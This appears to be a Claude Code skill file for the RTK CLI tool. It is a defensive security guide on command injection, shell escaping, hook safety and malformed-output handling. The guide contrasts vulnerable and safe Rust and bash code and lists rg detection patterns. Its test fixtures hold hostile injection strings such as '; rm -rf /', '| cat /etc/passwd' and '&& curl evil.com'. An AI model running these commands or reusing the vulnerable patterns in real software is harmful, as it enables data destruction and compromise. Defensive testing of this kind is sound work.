Rtk security-guardian
CLI security expert for RTK - command injection, shell escaping, hook security
git clone https://github.com/rtk-ai/rtk
T=$(mktemp -d) && git clone --depth=1 https://github.com/rtk-ai/rtk "$T" && mkdir -p ~/.claude/skills && cp -r "$T/.claude/skills/security-guardian" ~/.claude/skills/rtk-ai-rtk-security-guardian && rm -rf "$T"
.claude/skills/security-guardian/SKILL.mdSecurity Guardian
Comprehensive security analysis for RTK CLI tool, focusing on command injection, shell escaping, hook security, and malicious input handling.
When to Use
- Automatically triggered: After filter changes, shell command execution logic, hook modifications
- Manual invocation: Before release, after security-sensitive code changes
- Proactive: When handling user input, executing shell commands, or parsing untrusted output
RTK Security Threat Model
RTK faces unique security challenges as a CLI proxy that:
- Executes shell commands based on user input
- Parses untrusted command output (git, cargo, gh, etc.)
- Integrates with Claude Code hooks (rtk-rewrite.sh, rtk-suggest.sh)
- Routes commands transparently (command injection vectors)
Threat Categories
| Threat | Severity | Impact | Mitigation |
|---|---|---|---|
| Command Injection | 🔴 CRITICAL | Remote code execution | Input validation, shell escaping |
| Shell Escaping | 🔴 CRITICAL | Arbitrary command execution | Platform-specific escaping |
| Hook Injection | 🟡 HIGH | Hook hijacking, command interception | Permission checks, signature validation |
| Malicious Output | 🟡 MEDIUM | RTK crash, DoS | Robust parsing, error handling |
| Path Traversal | 🟢 LOW | File access outside filters/ | Path sanitization |
Security Analysis Workflow
1. Threat Identification
Questions to ask for every code change:
Input Validation: - Does this code accept user input? - Is the input validated before use? - Can special characters (;, |, &, $, `, \, etc.) cause issues? Shell Execution: - Does this code execute shell commands? - Are command arguments properly escaped? - Is std::process::Command used (safe) or shell=true (dangerous)? Output Parsing: - Does this code parse external command output? - Can malformed output cause panics or crashes? - Are regex patterns tested against malicious input? Hook Integration: - Does this code modify hooks? - Are hook permissions validated (executable bit)? - Is hook source code integrity checked?
2. Code Audit Patterns
Command Injection Detection:
// 🔴 CRITICAL: Shell injection vulnerability let user_input = env::args().nth(1).unwrap(); let cmd = format!("git log {}", user_input); // DANGEROUS! std::process::Command::new("sh") .arg("-c") .arg(&cmd) // Attacker can inject: `; rm -rf /` .spawn(); // ✅ SAFE: Use Command builder, not shell use std::process::Command; let user_input = env::args().nth(1).unwrap(); Command::new("git") .arg("log") .arg(&user_input) // Safely passed as argument, not interpreted by shell .spawn();
Shell Escaping Vulnerability:
// 🔴 CRITICAL: No escaping for special chars fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> { let full_cmd = format!("{} {}", cmd, args.join(" ")); Command::new("sh") .arg("-c") .arg(&full_cmd) // DANGEROUS: args not escaped .output() } // ✅ SAFE: Use Command builder, automatic escaping fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> { Command::new(cmd) .args(args) // Safely escaped by Command API .output() }
Malicious Output Handling:
// 🔴 CRITICAL: Panic on unexpected output fn filter_git_log(input: &str) -> String { let first_line = input.lines().next().unwrap(); // Panic if empty! let hash = &first_line[7..47]; // Panic if line too short! hash.to_string() } // ✅ SAFE: Graceful error handling fn filter_git_log(input: &str) -> Result<String> { let first_line = input.lines().next() .ok_or_else(|| anyhow::anyhow!("Empty input"))?; if first_line.len() < 47 { bail!("Invalid git log format"); } Ok(first_line[7..47].to_string()) }
Hook Injection Prevention:
# 🔴 CRITICAL: Hook not checking source #!/bin/bash # rtk-rewrite.sh # Execute command without validation eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # DANGEROUS! # ✅ SAFE: Validate hook environment #!/bin/bash # rtk-rewrite.sh # Verify running in Claude Code context if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then echo "Error: Not running in Claude Code context" exit 1 fi # Validate RTK binary exists and is executable if ! command -v rtk >/dev/null 2>&1; then echo "Error: rtk binary not found" exit 1 fi # Execute with explicit path (no PATH hijacking) /usr/local/bin/rtk "$@"
3. Security Testing
Command Injection Tests:
#[cfg(test)] mod security_tests { use super::*; #[test] fn test_command_injection_defense() { // Malicious input: attempt shell injection let malicious_inputs = vec![ "; rm -rf /", "| cat /etc/passwd", "$(whoami)", "`id`", "&& curl evil.com", ]; for input in malicious_inputs { // Should NOT execute injected commands let result = execute_command("git", &["log", input]); // Either: // 1. Returns error (command fails safely), OR // 2. Treats input as literal string (no shell interpretation) // Both acceptable - just don't execute injection! } } #[test] fn test_shell_escaping() { // Special characters that need escaping let special_chars = vec![ ";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r", ]; for char in special_chars { let arg = format!("test{}value", char); let escaped = escape_for_shell(&arg); // Escaped version should NOT be interpreted by shell assert!(!escaped.contains(char) || escaped.contains('\\')); } } }
Malicious Output Tests:
#[test] fn test_malicious_output_handling() { // Malformed outputs that could crash RTK let malicious_outputs = vec![ "", // Empty "\n\n\n", // Only newlines "x".repeat(1_000_000), // 1MB of 'x' (memory exhaustion) "\x00\x01\x02", // Binary data "\u{FFFD}".repeat(1000), // Unicode replacement chars ]; for output in malicious_outputs { let result = filter_git_log(&output); // Should either: // 1. Return Ok with filtered output, OR // 2. Return Err (graceful failure) // Both acceptable - just don't panic! assert!(result.is_ok() || result.is_err()); } }
Security Vulnerabilities Checklist
Command Injection (🔴 Critical)
- No shell=true: Never use
with user input.arg("-c") - Command builder: Use
API (not shell strings)std::process::Command - Input validation: Validate/sanitize before command execution
- Whitelist approach: Only allow known-safe commands
Detection:
# Find dangerous shell execution rg "\.arg\(\"-c\"\)" --type rust src/ rg "std::process::Command::new\(\"sh\"\)" --type rust src/ rg "format!.*\{.*Command" --type rust src/
Shell Escaping (🔴 Critical)
- Platform-specific: Test escaping on macOS, Linux, Windows
- Special chars: Handle
,;
,|
,&
,$
,`
,\
,"
,'\n - Use shell-escape crate: Don't roll your own escaping
- Cross-platform tests:
tests#[cfg(target_os = "...")]
Detection:
# Find potential escaping issues rg "format!.*\{.*args" --type rust src/ rg "\.join\(\" \"\)" --type rust src/
Hook Security (🟡 High)
- Permission checks: Verify hooks are executable (
)-rwxr-xr-x - Source validation: Only execute hooks from
.claude/hooks/ - Environment validation: Check
$CLAUDE_CODE_HOOK_BASH_TEMPLATE - No dynamic evaluation: No
oreval
of untrusted filessource
Hook security checklist:
#!/bin/bash # rtk-rewrite.sh # 1. Verify Claude Code context if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then exit 1 fi # 2. Verify RTK binary exists if ! command -v rtk >/dev/null 2>&1; then exit 1 fi # 3. Use absolute path (prevent PATH hijacking) RTK_BIN=$(which rtk) # 4. Validate RTK version (prevent downgrade attacks) if ! "$RTK_BIN" --version | grep -q "rtk 0.16"; then echo "Warning: RTK version mismatch" fi # 5. Execute with explicit path "$RTK_BIN" "$@"
Malicious Output (🟡 Medium)
- No .unwrap(): Use
for parsing, graceful error handlingResult - Bounds checking: Verify string lengths before slicing
- Regex timeouts: Prevent ReDoS (Regular Expression Denial of Service)
- Memory limits: Cap output size before parsing
Parsing safety pattern:
fn safe_parse(output: &str) -> Result<String> { // 1. Check output size (prevent memory exhaustion) if output.len() > 10_000_000 { bail!("Output too large (>10MB)"); } // 2. Validate format (prevent malformed input) if !output.starts_with("commit ") { bail!("Invalid git log format"); } // 3. Bounds checking (prevent panics) let first_line = output.lines().next() .ok_or_else(|| anyhow::anyhow!("Empty output"))?; if first_line.len() < 47 { bail!("Commit hash too short"); } // 4. Safe extraction Ok(first_line[7..47].to_string()) }
Security Best Practices
Input Validation
Whitelist approach (safer than blacklist):
fn validate_command(cmd: &str) -> Result<()> { // ✅ SAFE: Whitelist known-safe commands const ALLOWED_COMMANDS: &[&str] = &[ "git", "cargo", "gh", "pnpm", "docker", "rustc", "clippy", "rustfmt", ]; if !ALLOWED_COMMANDS.contains(&cmd) { bail!("Command '{}' not allowed", cmd); } Ok(()) } // ❌ UNSAFE: Blacklist approach (easy to bypass) fn validate_command_unsafe(cmd: &str) -> Result<()> { const BLOCKED: &[&str] = &["rm", "dd", "mkfs"]; if BLOCKED.contains(&cmd) { bail!("Command '{}' blocked", cmd); } Ok(()) // Attacker can use: /bin/rm, rm.exe, RM (case variation), etc. }
Shell Escaping
Use dedicated library:
use shell_escape::escape; fn escape_arg(arg: &str) -> String { // ✅ SAFE: Use battle-tested escaping library escape(arg.into()).into() } // ❌ UNSAFE: Roll your own escaping (likely has bugs) fn escape_arg_unsafe(arg: &str) -> String { arg.replace('"', r#"\""#) // Misses many special chars! }
Platform-specific escaping:
#[cfg(target_os = "windows")] fn escape_for_shell(arg: &str) -> String { // PowerShell escaping format!("\"{}\"", arg.replace('"', "`\"")) } #[cfg(not(target_os = "windows"))] fn escape_for_shell(arg: &str) -> String { // Bash/zsh escaping shell_escape::escape(arg.into()).into() }
Secure Command Execution
Always use Command builder:
use std::process::Command; // ✅ SAFE: Command builder (no shell) fn execute_git(args: &[&str]) -> Result<Output> { Command::new("git") .args(args) // Safely escaped .output() .context("Failed to execute git") } // ❌ UNSAFE: Shell string concatenation fn execute_git_unsafe(args: &[&str]) -> Result<Output> { let cmd = format!("git {}", args.join(" ")); Command::new("sh") .arg("-c") .arg(&cmd) // Shell interprets args! .output() }
Security Audit Command Reference
Find potential vulnerabilities:
# Command injection rg "\.arg\(\"-c\"\)" --type rust src/ rg "format!.*Command" --type rust src/ # Shell escaping rg "\.join\(\" \"\)" --type rust src/ rg "format!.*\{.*args" --type rust src/ # Unsafe unwraps (can panic on malicious input) rg "\.unwrap\(\)" --type rust src/ # Bounds violations rg "\[.*\.\.\.\]" --type rust src/ rg "\[.*\.\.]" --type rust src/ # Hook security rg "eval|source" --type bash .claude/hooks/
Incident Response
If vulnerability discovered:
- Assess severity: Use CVSS scoring (Critical/High/Medium/Low)
- Develop patch: Fix vulnerability in isolated branch
- Test fix: Verify with security tests + integration tests
- Release hotfix: PATCH version bump (e.g., v0.16.0 → v0.16.1)
- Disclose responsibly: GitHub Security Advisory, CVE if applicable
Example advisory template:
## Security Advisory: Command Injection in rtk v0.16.0 **Severity**: CRITICAL (CVSS 9.8) **Affected versions**: v0.15.0 - v0.16.0 **Fixed in**: v0.16.1 **Description**: RTK versions 0.15.0 through 0.16.0 are vulnerable to command injection via malicious git repository names. An attacker can execute arbitrary shell commands by creating a repository with special characters in the name. **Impact**: Remote code execution with user privileges. **Mitigation**: Upgrade to v0.16.1 immediately. As a workaround, avoid using RTK in directories with untrusted repository names. **Credits**: Reported by: Security Researcher Name
Security Resources
Tools:
- Dependency vulnerability scanningcargo audit
- Unsafe code detectioncargo-geiger
- Dependency policy enforcementcargo-deny
- Static analysis for security patternssemgrep
Run security checks:
# Dependency vulnerabilities cargo install cargo-audit cargo audit # Unsafe code detection cargo install cargo-geiger cargo geiger # Static analysis cargo install semgrep semgrep --config auto